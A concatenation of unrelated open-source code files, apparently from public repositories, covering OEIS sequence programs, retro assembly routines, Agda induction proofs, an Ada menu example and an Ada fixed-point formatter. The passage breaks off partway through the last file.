<gh_stars>10-100 ; A158638: a(n) = 48*n^2 + 1. ; 1,49,193,433,769,1201,1729,2353,3073,3889,4801,5809,6913,8113,9409,10801,12289,13873,15553,17329,19201,21169,23233,25393,27649,30001,32449,34993,37633,40369,43201,46129,49153,52273,55489,58801,62209,65713,69313,73009,76801,80689,84673,88753,92929,97201,101569,106033,110593,115249,120001,124849,129793,134833,139969,145201,150529,155953,161473,167089,172801,178609,184513,190513,196609,202801,209089,215473,221953,228529,235201,241969,248833,255793,262849,270001,277249,284593,292033,299569,307201,314929,322753,330673,338689,346801,355009,363313,371713,380209,388801,397489,406273,415153,424129,433201,442369,451633,460993,470449 pow $0,2 mul $0,48 add $0,1
src/main/fragment/mos6502-common/vwsm1=vwsm1_plus_vwuc1.asm
jbrandwood/kickc
2
165376
<gh_stars>1-10 clc lda {m1} adc #<{c1} sta {m1} lda {m1}+1 adc #>{c1} sta {m1}+1
lab1/example_c_1.asm
0000Blaze/Microprocess
0
10528
<reponame>0000Blaze/Microprocess<gh_stars>0 # ORG 8000 LXI B,8090 LXI D,80A0 LDAX B STAX D HLT # ORG 8090 # DB AA
archive/agda-1/Successor.agda
m0davis/oscar
0
7631
module Successor where open import OscarPrelude record Successor {ℓᴬ} (A : Set ℓᴬ) {ℓᴮ} (B : Set ℓᴮ) : Set (ℓᴬ ⊔ ℓᴮ) where field ⊹ : A → B open Successor ⦃ … ⦄ public instance SuccessorNat : Successor Nat Nat Successor.⊹ SuccessorNat = suc instance SuccessorLevel : Successor Level Level Successor.⊹ SuccessorLevel = lsuc
binary16/debug_fln.asm
DW0RKiN/Floating-point-Library-for-Z80
12
100447
<gh_stars>10-100 if not defined FLN INCLUDE "print_fp.asm" ; HL = ln(abs(HL)) DEBUG@FLN: FLN: CALL @FLN ; 3:17 PUSH HL ; 1:11 LD HL, 'L'+'N' * 256 ; 3:10 "LN" LD A, COL_BLUE ; 2:7 JP PRINT_XFP ; 3:10 else if not defined DEBUG@FLN .WARNING You must include the file: debug_fln.asm before. endif endif
programs/oeis/017/A017026.asm
neoneye/loda
22
169666
; A017026: a(n) = (7*n + 3)^10. ; 59049,10000000000,2015993900449,63403380965376,819628286980801,6278211847988224,34050628916015625,144555105949057024,511116753300641401,1568336880910795776,4297625829703557649,10737418240000000000,24842341419143568849,53861511409489970176,110462212541120451001,215892499727278669824,404555773570791015625,730463141542791783424,1276136419117121619201,2164656967840983678976,3575694237941010577249,5766503906250000000000,9099059901039401398249,14074678408802364030976,21377706189197971362201,31930081208285372007424,46958831761893056640625,68078861925529707085824,97393677359695041798001,137617037244838084658176,192218876443582475037849,265599227914240000000000,363294289954110647868649,492219227058666339787776,660952768068482275874401,880069171864760718721024,1162523670191533212890625,1524098070253174888244224,1983913807584764801017801,2565020383345125413093376,3295067800663118480459449,4207072333002010000000000,5340285714719489633060049,6741178641117286368280576,8464550303319308288547601,10574776563315896351130624,13147210297489166259765625,16269748403915564986138624,20044580980751735469518601,24590139241073610670744576,30043259834681392663962049,36561584400629760000000000,44326214376618333352652449,53544642343907161646949376,64453982490130814650341801,77324524128297629567156224,92463633619402804697265625,110220031509480408885249024,130988473210595027479940401,155214863130253740029771776,183401833786028468140265649,216114823132842490000000000,253988685080418137223925849,297734869988830416051634176,348149213801988574756617001,406120376413199518554317824,472638971854778498525390625,548807434965988718279655424,635850671321437457459323201,735127539396457050900734976,848143216207979632525690249,976562500000000000000000000,1122224105942936326061760249,1287156013287068781368574976,1473591924952786487925133201,1683988903155628637813735424,1921046247353091135244140625,2187725683563910797049037824,2487272936950060023861107001,2823240762468010977500594176,3199513511389984715762155849,3620333314568912490000000000,4090327966473728549854635649,4614540597255411369326411776,5198461223419918255364050401,5848060271082841870384129024,6569824169263281339853515625,7370793114242090371434676224,8258601109663365229397131801,9241518390798791533220709376,10328496345223305728741182449,11529215046068469760000000000,12854133518028030996340632049,14314542860389368888428184576,15922622355555940184939928601,17691498695810450884865818624,19635308465447330474853515625,21769264019877187453015450624,24109722907876309716269637601,26674260987821964133794840576 mul $0,7 add $0,3 pow $0,10
Task/Menu/Ada/menu-1.ada
LaudateCorpus1/RosettaCodeData
1
13484
<reponame>LaudateCorpus1/RosettaCodeData<gh_stars>1-10 -- menu2.adb -- -- rosetta.org menu example -- GPS 4.3-5 (Debian) -- note: the use of Unbounded strings is somewhat overkill, except that -- it allows Ada to handle variable length string data easily -- ie: differing length menu items text with Ada.Text_IO, Ada.Integer_Text_IO, Ada.Strings.Unbounded, Ada.Strings.Unbounded.Text_IO; use Ada.Text_IO, Ada.Integer_Text_IO, Ada.Strings.Unbounded, Ada.Strings.Unbounded.Text_IO; procedure menu2 is package tio renames Ada.Integer_Text_IO; -- rename package to use a shorter name, tio, as integer get prefix menu_item : array (1..4) of Unbounded_String; -- 4 menu items of any length choice : integer := 0; -- user selection entry value procedure show_menu is -- display the menu options and collect the users input -- into locally global variable 'choice' begin for pntr in menu_item'first .. menu_item'last loop put (pntr ); put(" "); put( menu_item(pntr)); new_line; end loop; put("chose (0 to exit) #:"); tio.get(choice); end show_menu; -- main program -- begin menu_item(1) := to_unbounded_string("<NAME>"); menu_item(2) := to_unbounded_string("Huff & Puff"); menu_item(3) := to_unbounded_string("mirror mirror"); menu_item(4) := to_unbounded_string("tick tock"); -- setup menu selection strings in an array show_menu; loop if choice in menu_item'range then put("you chose #:"); case choice is -- in a real menu, each case would execute appropriate user procedures when 1 => put ( menu_item(choice)); new_line; when 2 => put ( menu_item(choice)); new_line; when 3 => put ( menu_item(choice)); new_line; when 4 => put ( menu_item(choice)); new_line; when others => null; end case; show_menu; else put("Menu selection out of range"); new_line; if choice = 0 then exit; end if; -- need a exit option ! show_menu; end if; end loop; end menu2;
MULTIPLICACION 0.5.asm
Jon2G/ASMCalculator
0
173608
<filename>MULTIPLICACION 0.5.asm<gh_stars>0 .model small .data ;num1 db 0,1,2,3,4,5,6,7,8,9,'$' ;decimales_1 db 0,1,2,3,4,5,6,7,8,9,'$' ;num2 db 0,1,2,3,4,5,6,7,8,9,'$' ;decimales_2 db 0,1,2,3,4,5,6,7,8,9,'$' ;num1 db 0,0,0,0,0,0,0,5,3,1,'$' ;decimales_1 db 0,3,1,0,0,0,0,0,0,0,'$' ;num2 db 0,0,0,0,0,0,0,0,1,7,'$' ;decimales_2 db 0,0,0,0,0,0,0,0,0,0,'$' ;. ;num_1_mult db 0,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,'$' ;num_2_mult db 0,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,'$' num_1_mult db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,1,7,'$' num_2_mult db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,1,4,'$' over_flow_res db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 num_res_mult db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'$' ;over_flow_num_res db 0,0,0,0,0,0,0,0,0,0 ;multiplicaciones de 9 digitos por 9 digitos puden dar resultados de hasta 18 digitos ;num_res db 0,0,0,0,0,0,0,0,0,0,'$' ;estos digitos son "atrapados por la variable de overflow ;over_flow_dec_res db 0,0,0,0,0,0,0,0,0,0 ;decimales_Res db 0,0,0,0,0,0,0,0,0,0,'$' hay_overFlow db 00h ;bandera para que el en el resultado considere los digitos en over_flow_num_res hay_acarreo db 00h aux db 00h .stack .code begin proc far mov ax,@data mov ds,ax CALL MULTIPLICA ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;IMPRIMIR RESULTADO LEA DX,num_res_mult MOV AH,09 INT 21H XOR AX,AX INT 16H begin endp MULTIPLICA PROC NEAR ;MULTIPLICAR PARTES ENTERAS SIN IMPORTAR ACARREOS MOV SI,12h ;indice del multiplicador MOV DI,12h ;indice del multiplicando MOV BX,00h ;representa las posiciones de la suma dentro de la multiplicacion siguiente_multiplicador_e: siguiente_multiplicando_e: MOV AL,num_1_mult[SI] ;movemos el multiplicador a Al MOV DL,num_2_mult[DI] ;movemos el multiplicando a Dl MUL Dl ; AL*Dl resultado en Ax AAM ;desempacamos el resultado de la multiplicacion previa SUB DI,BX ;decrementamos Di por la posicion de los multiplicandos ADD num_res_mult[DI],Al ;agregamos la parte baja a la posicion de DI en num_res ADD num_res_mult[DI-1],Ah ;agregamos la parte alta a la siguiente posicion de DI en num_res ADD DI,BX ;restauramos Di para obtener la posicion real de el siguiente multiplicando DEC DI ;decrementamos el indice del multiplicando CMP DI,01H JAE siguiente_multiplicando_e ;incrementamos contador de posiciones de multiplicandos INC BX ;incrementamos el desplazamiento de la suma MOV DI,12h ;volvemos al primer indice de los multiplicandos DEC SI ;decrementamos el indice del multiplicador CMP SI,01H JAE siguiente_multiplicador_e MOV hay_overFlow,01h XOR AX,AX INT 16H acarreo_del_Acarreo: MOV hay_acarreo,00h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AJUSTAR LOS ACARREOS ENTEROS MOV SI,25h ;los resultados de multiplicaciones 9 enteros*9 enteros pueden llegar a tener hasta 18 digitos JMP siguiente_Acarreo_entero ; AcarreoEntero: MOV hay_acarreo,01h MOV Al,over_flow_res[SI] AAM ADD over_flow_res[SI-1],Ah MOV over_flow_res[SI],Al DEC SI siguiente_Acarreo_entero: CMP over_flow_res[SI],0Ah JAE AcarreoEntero DEC SI JNS siguiente_Acarreo_entero ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CMP hay_acarreo,01h JNE no_mas_acarreo_mul JMP acarreo_del_Acarreo ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; no_mas_acarreo_mul: ;;CONJUGAR LA PARTE ENTERA CON LA PARTE DECIMAL ;;AGREGANDO COMO DESPLAZAMIENTO LA CANTIDAD DE DIGITOS DECIMALES QUE CONTIENE XOR AX,AX INT 16H ;;AJUSTAR PARA IMPRESION ;;ajustar la parte entera MOV SI,13h JMP inicia_ajuste salta_fin: DEC SI JMP inicia_ajuste inicia_ajuste: MOV AL,num_res_mult[SI] CMP AL,24h JE salta_fin ADD AL,30h MOV num_res_mult[SI],AL DEC SI JNS inicia_ajuste RET MULTIPLICA ENDP end begin
alloy4fun_models/trashltl/models/17/LLvqoWYsAacXzPmuM.als
Kaixi26/org.alloytools.alloy
0
1446
<reponame>Kaixi26/org.alloytools.alloy open main pred idLLvqoWYsAacXzPmuM_prop18 { always all f : Protected | f in Trash until f not in Protected } pred __repair { idLLvqoWYsAacXzPmuM_prop18 } check __repair { idLLvqoWYsAacXzPmuM_prop18 <=> prop18o }
agda/book/Programming_Language_Foundations_in_Agda/x02-842Induction-hc.agda
haroldcarr/learn-haskell-coq-ml-etc
36
5974
<filename>agda/book/Programming_Language_Foundations_in_Agda/x02-842Induction-hc.agda module x02-842Induction-hc where import Relation.Binary.PropositionalEquality as Eq open Eq using (_≡_; refl; cong; sym) open Eq.≡-Reasoning using (begin_; _≡⟨⟩_; _∎) open import Data.Nat using (ℕ; zero; suc; _+_; _*_; _∸_) -- associativity _ : (3 + 4) + 5 ≡ 3 + (4 + 5) _ = begin (3 + 4) + 5 ≡⟨⟩ 7 + 5 ≡⟨⟩ 12 ≡⟨⟩ 3 + 9 ≡⟨⟩ 3 + (4 + 5) ∎ +-identityᴸ : ∀ (m : ℕ) → zero + m ≡ m +-identityᴸ m = refl -- via def/eq +-identityʳ : ∀ (m : ℕ) → m + zero ≡ m +-identityʳ zero = refl +-identityʳ (suc m) -- suc m + zero ≡ suc m -- suc (m + zero) ≡ suc m rewrite +-identityʳ m -- suc m ≡ suc m = refl +-assoc : ∀ (m n p : ℕ) → (m + n) + p ≡ m + (n + p) +-assoc zero n p = refl +-assoc (suc m) n p -- suc m + n + p ≡ suc m + (n + p) -- suc (m + n + p) ≡ suc (m + (n + p)) rewrite +-assoc m n p -- suc (m + (n + p)) ≡ suc (m + (n + p)) = refl +-suc : ∀ (m n : ℕ) → m + suc n ≡ suc (m + n) +-suc zero n = refl +-suc (suc m) n -- suc (m + suc n) ≡ suc (suc (m + n)) rewrite +-suc m n -- suc (suc (m + n)) ≡ suc (suc (m + n)) = refl +-comm : ∀ (m n : ℕ) → m + n ≡ n + m +-comm zero n -- zero + n ≡ n + zero -- n ≡ n + zero rewrite +-identityʳ n -- n ≡ n = refl +-comm (suc m) zero -- suc m + zero ≡ zero + suc m -- suc (m + zero) ≡ suc m rewrite +-identityʳ m -- suc m ≡ suc m = refl +-comm (suc m) (suc n) -- suc m + suc n ≡ suc n + suc m -- suc (m + suc n) ≡ suc (n + suc m) rewrite +-suc m n -- suc (suc (m + n)) ≡ suc (n + suc m) | +-suc n m -- suc (suc (m + n)) ≡ suc (suc (n + m)) | +-comm m n -- suc (suc (n + m)) ≡ suc (suc (n + m)) = refl -- without using induction/recursion +-swap : ∀ (m n p : ℕ) → (m + n) + p ≡ n + (m + p) +-swap zero n p = refl +-swap (suc m) n p -- suc m + n + p ≡ n + (suc m + p) -- suc (m + n + p) ≡ n + suc (m + p) rewrite +-suc n (m + p) -- suc (m + n + p) ≡ suc (n + (m + p)) | +-comm m n -- suc (n + m + p) ≡ suc (n + (m + p)) | +-assoc n m p -- suc (n + (m + p)) ≡ suc (n + (m + p)) = refl -- addition distributes over multiplication *-+-rdistrib : ∀ (m n p : ℕ) → (m + n) * p ≡ m * p + n * p *-+-rdistrib zero n p = refl *-+-rdistrib (suc m) n p -- (suc m + n) * p ≡ suc m * p + n * p -- p + (m + n) * p ≡ p + m * p + n * p rewrite *-+-rdistrib m n p -- p + (m * p + n * p) ≡ p + m * p + n * p | +-assoc p (m * p) (n * p) -- p + (m * p + n * p) ≡ p + (m * p + n * p) = refl *-assoc : ∀ (m n p : ℕ) → (m * n) * p ≡ m * (n * p) *-assoc zero n p = refl *-assoc (suc m) n p -- suc m * n * p ≡ suc m * (n * p) -- (n + m * n) * p ≡ n * p + m * (n * p) rewrite *-+-rdistrib n (m * n) p -- n * p + m * n * p ≡ n * p + m * (n * p) | *-assoc m n p -- n * p + m * (n * p) ≡ n * p + m * (n * p) = refl *0 : ∀ (n : ℕ) → n * zero ≡ zero *0 zero = refl *0 (suc n) = *0 n *-suc : ∀ (m n : ℕ) → m * suc n ≡ m + (m * n) *-suc zero n = refl *-suc (suc m) n -- suc m * suc n ≡ suc m + suc m * n -- suc (n + m * suc n) ≡ suc (m + (n + m * n)) rewrite *-suc m n -- suc (n + (m + m * n)) ≡ suc (m + (n + m * n)) | sym (+-assoc n m (m * n)) -- suc (n + m + m * n) ≡ suc (m + (n + m * n)) | +-comm n m -- suc (m + n + m * n) ≡ suc (m + (n + m * n)) | +-assoc m n (m * n) -- suc (m + (n + m * n)) ≡ suc (m + (n + m * n)) = refl *-comm : ∀ (m n : ℕ) → m * n ≡ n * m *-comm zero n rewrite *0 n = refl *-comm (suc m) n -- suc m * n ≡ n * suc m -- n + m * n ≡ n * suc m rewrite *-suc n m -- n + m * n ≡ n + n * m | *-comm m n -- n + n * m ≡ n + n * m = refl 0∸n≡0 : ∀ (m : ℕ) → zero ∸ m ≡ zero 0∸n≡0 zero = refl 0∸n≡0 (suc m) rewrite 0∸n≡0 m = refl -- form of associativity for monus ∸-+-assoc : ∀ (m n p : ℕ) → m ∸ n ∸ p ≡ m ∸ (n + p) ∸-+-assoc zero n p -- zero ∸ n ∸ p ≡ zero ∸ (n + p) rewrite 0∸n≡0 n -- 0 ∸ p ≡ 0 ∸ (n + p) | 0∸n≡0 p -- 0 ≡ 0 ∸ (n + p) | 0∸n≡0 (n + p) -- 0 ≡ 0 = refl ∸-+-assoc m zero p -- m ∸ p ≡ m ∸ p = refl ∸-+-assoc m n zero -- m ∸ n ≡ m ∸ (n + zero) rewrite +-identityʳ n -- m ∸ n ≡ m ∸ n = refl ∸-+-assoc (suc m) (suc n) p -- m ∸ n ∸ p ≡ m ∸ (n + p) rewrite ∸-+-assoc m n p -- m ∸ (n + p) ≡ m ∸ (n + p) = refl ------------------------------------------------------------------------------ -- properties of binary representation -- BEGIN copied from 842Naturals data Bin-ℕ : Set where bits : Bin-ℕ _x0 : Bin-ℕ → Bin-ℕ _x1 : Bin-ℕ → Bin-ℕ dbl : ℕ → ℕ dbl zero = zero dbl (suc n) = suc (suc (dbl n)) inc : Bin-ℕ → Bin-ℕ inc bits = bits x1 inc (m x0) = m x1 inc (m x1) = inc m x0 tob : ℕ → Bin-ℕ tob zero = bits tob (suc m) = inc (tob m) fromb : Bin-ℕ → ℕ fromb bits = 0 fromb (n x0) = dbl (fromb n) fromb (n x1) = suc (dbl (fromb n)) _bin-+_ : Bin-ℕ → Bin-ℕ → Bin-ℕ bl bin-+ bits = bl bits bin-+ br = br (bl x0) bin-+ (br x0) = (bl bin-+ br) x0 (bl x0) bin-+ (br x1) = (bl bin-+ br) x1 (bl x1) bin-+ (br x0) = (bl bin-+ br) x1 (bl x1) bin-+ (br x1) = inc ((bl bin-+ br) x1) -- END copied from 842Naturals dblb : Bin-ℕ → Bin-ℕ dblb b = b x0 _ : dblb (tob 3) ≡ tob 6 _ = refl _ : dblb (tob 7) ≡ tob 14 _ = refl _ : dblb (tob 9) ≡ tob 18 _ = refl from∘inc : ∀ (b : Bin-ℕ) → fromb (inc b) ≡ suc (fromb b) from∘inc bits = refl from∘inc (b x0) = refl from∘inc (b x1) -- fromb (inc (b x1)) ≡ suc (fromb (b x1)) -- dbl (fromb (inc b)) ≡ suc (suc (dbl (fromb b))) rewrite from∘inc b -- suc (suc (dbl (fromb b))) ≡ suc (suc (dbl (fromb b))) = refl from∘tob : ∀ (m : ℕ) → fromb (tob m) ≡ m from∘tob zero = refl from∘tob (suc m) -- fromb (tob (suc m)) ≡ suc m -- fromb (inc (tob m)) ≡ suc m rewrite from∘inc (tob m) -- suc (fromb (tob m)) ≡ suc m | from∘tob m -- suc m ≡ suc m = refl -- The property ∀ (m : Bin-ℕ) → tob (fromb m) ≡ m cannot be proved. -- Because there are two representations of zero. -- The following restriction can be proved: to/from-corr : ∀ (b : Bin-ℕ) (n : ℕ) → b ≡ tob n → fromb b ≡ n -- TODO to/from-corr b n b≡tn = {!!} dblb∘inc : ∀ (b : Bin-ℕ) → dblb (inc b) ≡ inc (inc (dblb b)) dblb∘inc bits = refl dblb∘inc (b x0) -- dblb (inc (b x0)) ≡ inc (inc (dblb (b x0))) -- dblb (b x1) ≡ ((b x1) x0) rewrite dblb∘inc b -- ((b x1) x0) ≡ ((b x1) x0) = refl dblb∘inc (b x1) -- dblb (inc (b x1)) ≡ inc (inc (dblb (b x1))) -- dblb (inc b x0) ≡ ((inc b x0) x0) rewrite dblb∘inc b -- ((inc b x0) x0) ≡ ((inc b x0) x0) = refl {- -- more BIN properties to prove -- not sure this can be proved because of multiple representations of zero to∘dbl : ∀ (m : ℕ) → tob (dbl m) ≡ dblb (tob m) -- TODO -- not sure if provable because of zero to∘dbl zero -- tob (dbl zero) ≡ dblb (tob zero) -- bits ≡ dblb bits = {!!} to∘dbl (suc m) -- tob (dbl (suc m)) ≡ dblb (tob (suc m)) -- inc (inc (tob (dbl m))) ≡ dblb (inc (tob m)) rewrite to∘dbl m -- (inc (tob m) x0) ≡ (inc (tob m) x0) = refl from∘dblb : ∀ (b : Bin-ℕ) → fromb (dblb b) ≡ dbl (fromb b) from∘dblb b = refl -- bit version of second case for unary addition: suc m + n = suc (m + n) -- useful in the next proof -- hint: use induction on both parameters bin-+-linc : ∀ (b1 b2 : Bin-ℕ) → (inc b1) bin-+ b2 ≡ inc (b1 bin-+ b2) -- TODO bin-+-linc b1 bits = refl bin-+-linc bits (b2 x0) = {!!} bin-+-linc bits (b2 x1) = {!!} bin-+-linc (b1 x0) b2 = {!!} bin-+-linc (b1 x1) b2 = {!!} -- 842 exercise: PlusUnaryBinary (2 points) -- This theorem relates unary and binary addition. to∘+ : ∀ (m n : ℕ) → tob (m + n) ≡ tob m bin-+ tob n -- TODO to∘+ m n = {!!} -} {- The follwing theorems can be found in: import Data.Nat.Properties using (+-assoc; +-identityʳ; +-suc; +-comm) -- Unicode ∀ U+2200 FOR ALL (\forall, \all) ʳ U+02B3 MODIFIER LETTER SMALL R (\^r) ′ U+2032 PRIME (\') ″ U+2033 DOUBLE PRIME (\') ‴ U+2034 TRIPLE PRIME (\') ⁗ U+2057 QUADRUPLE PRIME (\') -}
src/fx/interference.asm
bitshifters/teletextr
8
90375
; classic circle interference pattern ; uses large sprite of concentric circles drawn in two layers ; requires 6x versions of sprite in all offsets i.e. lots of memory .start_fx_interference INTERFERENCE_shadow_addr = MODE7_VRAM_SHADOW + MODE7_char_width + 3 ; currently writing 36x22 character screen INTERFERENCE_sprite_width = 54 INTERFERENCE_sprite_height = 33 INTERFERENCE_screen_width = 37 INTERFERENCE_screen_height = 24 INTERFERENCE_max_x = (INTERFERENCE_sprite_width - INTERFERENCE_screen_width) * 2 ; in pixels INTERFERENCE_max_y = (INTERFERENCE_sprite_height - INTERFERENCE_screen_height) * 3 ; in pixels INTERFERENCE_table_size = 64 ; sin table for X \ ****************************************************************** \ * Interference FX \ ****************************************************************** \\ Local variables - could probably get rid of most of these \\ or use a temp ZP variable for speed .fx_interference_plot_x EQUB 0 .fx_interference_plot_y EQUB 0 .fx_interference_char_x EQUB 0 .fx_interference_char_y EQUB 0 .fx_interference_set_ptrs { \\ X coordinate to char STX fx_interference_plot_x ; 4c TXA ; 2c AND #&1 CLC ADC fx_interference_plot_x ; char x = (x + (x&1)) DIV 2 as effectively negative LSR A ; 2c \\ Y coordinate to char STY fx_interference_plot_y \\ X,Y are effectively negative so: \\ 0->0,0 1->1,2 2->1,1 3->1,0 4->2,2 5->2,1 6->3,0 INY:INY LDX mode7_sprites_div3_table, Y ; 4c \\ A still contains fx_interference_char_x \\ Calculate internal sprite address CLC ; 2c ADC fx_interference_mult_LO, X ; 4c STA readptr LDA fx_interference_mult_HI, X ; 4c ADC #0 STA readptr+1 \\ Where are we reading data from? \\ Calculate offset 0 - 5 .mode7_sprites_plot_x LDY fx_interference_plot_y SEC LDA #3 SBC mode7_sprites_mod3_table, Y ; 4c CMP #3 BCC y_offset_ok LDA #0 ; y_offset actually (3 - (y MOD 3)) .y_offset_ok TAY LDA fx_interference_plot_x ; 2c AND #&1 ; 2c x_offset ORA mode7_sprites_mod3_table, Y ; 4c y_offset \\ Multiply by our offset to locate sprite data TAX ; 2c CLC LDA readptr ADC fx_interference_table_LO, X ; 4c STA readptr LDA readptr+1 ADC fx_interference_table_HI, X ; 4c STA readptr+1 \\ Set our write pointer LDA #LO(INTERFERENCE_shadow_addr) STA writeptr LDA #HI(INTERFERENCE_shadow_addr) STA writeptr+1 .return RTS } \\ Draw our sprite with offset X,Y in pixels to entire screen .fx_interference_draw_screen { \\ Calculate our read pointer based on X,Y \\ Write pointer is always start of screen JSR fx_interference_set_ptrs LDX #0 .y_loop \\ Copy a row of characters LDY #0 .x_loop LDA (readptr), Y STA (writeptr), Y INY CPY #INTERFERENCE_screen_width BNE x_loop \\ Next row of sprite data CLC LDA readptr ADC #INTERFERENCE_sprite_width STA readptr LDA readptr+1 ADC #0 STA readptr+1 \\ Next row of screen CLC LDA writeptr ADC #MODE7_char_width STA writeptr LDA writeptr+1 ADC #0 STA writeptr+1 \\ Until done INX CPX #INTERFERENCE_screen_height BNE y_loop .return RTS } \\ Draw our sprite with offset X,Y in pixels to entire screen .fx_interference_blend_screen \\{ \\ Calculate our read pointer based on X,Y \\ Write pointer is always start of screen JSR fx_interference_set_ptrs LDX #0 .fx_interference_blend_screen_y_loop \\ Copy a row of characters LDY #0 .fx_interference_blend_screen_x_loop LDA (readptr), Y \\ Can poke in different blend instruction here - e.g. ORA .fx_interference_blend_screen_blend_instruction EOR (writeptr), Y ORA #32 ; always need 32! STA (writeptr), Y INY CPY #INTERFERENCE_screen_width BNE fx_interference_blend_screen_x_loop \\ Next row of sprite data CLC LDA readptr ADC #INTERFERENCE_sprite_width STA readptr LDA readptr+1 ADC #0 STA readptr+1 \\ Next row of screen CLC LDA writeptr ADC #MODE7_char_width STA writeptr LDA writeptr+1 ADC #0 STA writeptr+1 \\ Until done INX CPX #INTERFERENCE_screen_height BNE fx_interference_blend_screen_y_loop .fx_interference_blend_screen_return RTS \\} \\ Set our blend mode .fx_interference_set_blend_ora { LDA #OPCODE_ora_indirect_Y STA fx_interference_blend_screen_blend_instruction .return RTS } .fx_interference_set_blend_eor { LDA #OPCODE_eor_indirect_Y STA fx_interference_blend_screen_blend_instruction .return RTS } \\ Local variables for motion .fx_interference_x EQUB 0 .fx_interference_dx EQUB 1 .fx_interference_y EQUB 0 .fx_interference_dy EQUB 1 .fx_interference_x_idx EQUB 0 \\ Main update function .fx_interference_update { ; lda #144+7 ; ldx #0 ; jsr mode7_set_column_shadow_fast \\ Draw base layer to screen LDX fx_interference_x LDY fx_interference_y JSR fx_interference_draw_screen \\ Draw top layer to screen with EOR LDY fx_interference_x_idx LDX fx_interference_sin_table_x, Y LDY #16 JSR fx_interference_blend_screen \\ Update motion for both layers \\ Currently base layer just bounces x,y linearly around available area CLC lda fx_interference_x ADC fx_interference_dx BMI x_hit_left CMP #INTERFERENCE_max_x BCC x_ok \\ X hit right LDA #&FF ; -1 STA fx_interference_dx LDA #INTERFERENCE_max_x JMP x_ok .x_hit_left LDA #1 STA fx_interference_dx LDA #0 .x_ok STA fx_interference_x CLC lda fx_interference_y ADC fx_interference_dy BMI y_hit_top CMP #INTERFERENCE_max_y BCC y_ok \\ Y hit bottom LDA #&FF ; -1 STA fx_interference_dy LDA #INTERFERENCE_max_y JMP y_ok .y_hit_top LDA #1 STA fx_interference_dy LDA #0 .y_ok STA fx_interference_y \\ Top layer is lookup into sine table CLC LDA fx_interference_x_idx ADC #&1 AND #INTERFERENCE_table_size-1 STA fx_interference_x_idx .return RTS } \ ****************************************************************** \ * Lookup tables \ ****************************************************************** \\ This assumes data is compiled by BeebAsm at correct address for SWRAM \\ i.e. &8000 onwards .fx_interference_table_LO { EQUB LO(circles_data_00) EQUB LO(circles_data_10) EQUB LO(circles_data_01) EQUB LO(circles_data_11) EQUB LO(circles_data_02) EQUB LO(circles_data_12) } .fx_interference_table_HI { EQUB HI(circles_data_00) EQUB HI(circles_data_10) EQUB HI(circles_data_01) EQUB HI(circles_data_11) EQUB HI(circles_data_02) EQUB HI(circles_data_11) } .fx_interference_sin_table_x FOR n, 0, INTERFERENCE_table_size-1, 1 EQUB 18 + 17 * SIN(2 * PI * n / INTERFERENCE_table_size) NEXT .fx_interference_mult_LO FOR n, 0, MODE7_char_height-1, 1 EQUB LO(INTERFERENCE_sprite_width * n) ; sprite pitch NEXT .fx_interference_mult_HI FOR n, 0, MODE7_char_height-1, 1 EQUB HI(INTERFERENCE_sprite_width * n) ; sprite pitch NEXT INCLUDE "src\sprites\circles.asm" .end_fx_interference
src/fmt-generic_ordinary_fixed_point_argument.adb
likai3g/afmt
0
7853
<gh_stars>0 pragma Ada_2020; with Interfaces; use Interfaces; with Ada.Numerics; with Ada.Numerics.Generic_Elementary_Functions; package body Fmt.Generic_Ordinary_Fixed_Point_Argument is package Math is new Ada.Numerics.Generic_Elementary_Functions(Long_Float); Exp : constant Long_Long_Float := 10.0 ** Fixed_Point_Type'Aft; Scale : constant Long_Long_Float := Fixed_Point_Type'Small * Exp; Int_Scale : constant Long_Long_Integer := Long_Long_Integer(Scale); To_Char : constant array(Unsigned_64 range 0 .. 9) of Character := "0123456789"; type Display_Goal is record N : Unsigned_64; -- a number maybe very big M : Unsigned_64; -- a scale number, maybe very big P : Unsigned_64; -- a patch value, at most two digits end record; type Decimal is record K : Unsigned_64; -- coefficient R : Unsigned_64; -- remainder, one digit end record; -- Dec_Cache : array (Long_Long_Integer range 0 .. 1000) of Decimal := -- [for I in Long_Long_Integer range 0 .. 1000 => (I / 10, I mod 10)]; function To_Long_Long_Integer (X : Fixed_Point_Type) return Long_Long_Integer with Pre => Fixed_Point_Type'Base'Size in 8 | 16 | 32 | 64; function To_Long_Long_Integer (X : Fixed_Point_Type) return Long_Long_Integer is BX : Fixed_Point_Type'Base := X; begin case Fixed_Point_Type'Base'Size is when 8 => declare i : Integer_8 with Address => BX'Address; begin return Long_Long_Integer(i); end; when 16 => declare i : Integer_16 with Address => BX'Address; begin return Long_Long_Integer(i); end; when 32 => declare i : Integer_32 with Address => BX'Address; begin return Long_Long_Integer(i); end; when 64 => declare i : Integer_64 with Address => BX'Address; begin return Long_Long_Integer(i); end; when others => raise Storage_Error; end case; end To_Long_Long_Integer; function Compute_Multiply_Result_Length ( N, M : Long_Long_Integer) return Natural is L : Natural := 0; X : Unsigned_64 := Safe_Abs(N); begin loop L := L + 1; X := X / 10; exit when X = 0; end loop; X := Safe_Abs(M); loop L := L + 1; X := X / 10; exit when X = 0; end loop; if N < 0 then L := L + 1; end if; return L; end Compute_Multiply_Result_Length; function To_Argument (X : Fixed_Point_Type) return Argument_Type'Class is begin return Fixed_Point_Argument_Type'(Value => X, others => <>); end To_Argument; function "&" (Args : Arguments; X : Fixed_Point_Type) return Arguments is begin return Args & To_Argument(X); end "&"; overriding procedure Parse (Self : in out Fixed_Point_Argument_Type; Edit : String) is procedure Conf (K, V : String) is begin if K'Length /= 1 or else V'Length = 0 then return; end if; case K(K'First) is when 'a' => if Is_Decimal_Number(V) then Self.Aft := Natural'Value(V); end if; when 'w' => if Is_Decimal_Number(V) then Self.Width := Natural'Value(V); end if; when others => null; end case; end Conf; begin Parse_KV_Edit(Edit, Conf'Access); end Parse; overriding function Get_Length (Self : in out Fixed_Point_Argument_Type) return Natural is begin if Self.Width /= 0 